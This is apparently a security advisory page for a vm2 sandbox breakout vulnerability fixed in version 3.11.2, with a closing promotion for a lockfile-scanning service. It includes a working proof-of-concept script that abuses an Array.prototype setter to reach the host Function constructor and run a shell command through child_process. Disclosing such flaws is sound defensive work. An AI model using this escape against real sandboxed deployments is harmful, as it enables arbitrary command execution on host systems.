vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`
Published 8 May 2026 · Updated 14 May 2026
Affected package
- Affected
- <3.11.2
- Fixed in
- 3.11.2
npm install vm2@3.11.2Details
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
set(value) {
a.f = Buffer.prototype.inspect;
value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
});
new Buffer(a);
`));Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Is GHSA-9qj6-qjgg-37qq in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vm2, and gives you the command that fixes it.
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.